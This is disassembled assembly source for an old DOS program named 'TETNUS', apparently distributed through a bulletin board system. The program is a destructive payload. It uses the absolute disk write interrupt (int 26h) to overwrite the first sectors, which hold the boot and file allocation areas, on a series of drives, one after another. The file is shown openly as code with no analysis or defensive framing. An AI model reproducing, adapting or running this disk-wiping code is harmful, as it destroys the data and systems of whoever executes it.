PAGE  59,132
  
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл								         лл
;лл			        TETNUS				         лл
;лл								         лл
;лл      Created:   26-Jan-91					         лл
;лл      Version:						         лл
;лл      Passes:    5	       Analysis Options on: H		         лл
;лл								         лл
;лл								         лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
  
  
;--------------------------------------------------------------	seg_a  ----
  
seg_a		segment	para public
		assume cs:seg_a , ds:seg_a
  
		db	256 dup (0)
		db	0B0h, 2, 0E8h, 1Dh, 0, 0B0h
		db	3, 0E8h, 18h, 0, 0B0h, 0
		db	0E8h, 13h, 0, 0B0h, 1, 0E8h
		db	0Eh, 0, 0B9h, 16h, 0, 0B0h
		db	3
  
locloop_1:
		inc	al
		call	sub_1			; (0122)
		loop	locloop_1		; Loop if cx > 0
  
		int	20h			; Program Terminate
  
;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;			       SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм
  
sub_1		proc	near
sub_1		endp
  
  
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;			program entry point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
  
  
tetnus		proc	far
  
start:
		mov	cx,54h
		mov	dx,0
		mov	bx,cs
		mov	ds,bx
		mov	bx,0
		push	ax
		push	bx
		push	cx
		push	dx
		int	26h			; Absolute disk write, drive al
		popf				; Pop flags
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
  
tetnus		endp
  
seg_a		ends
  
  
  
		end	start

Downloaded From P-80 International Information Systems 304-744-2253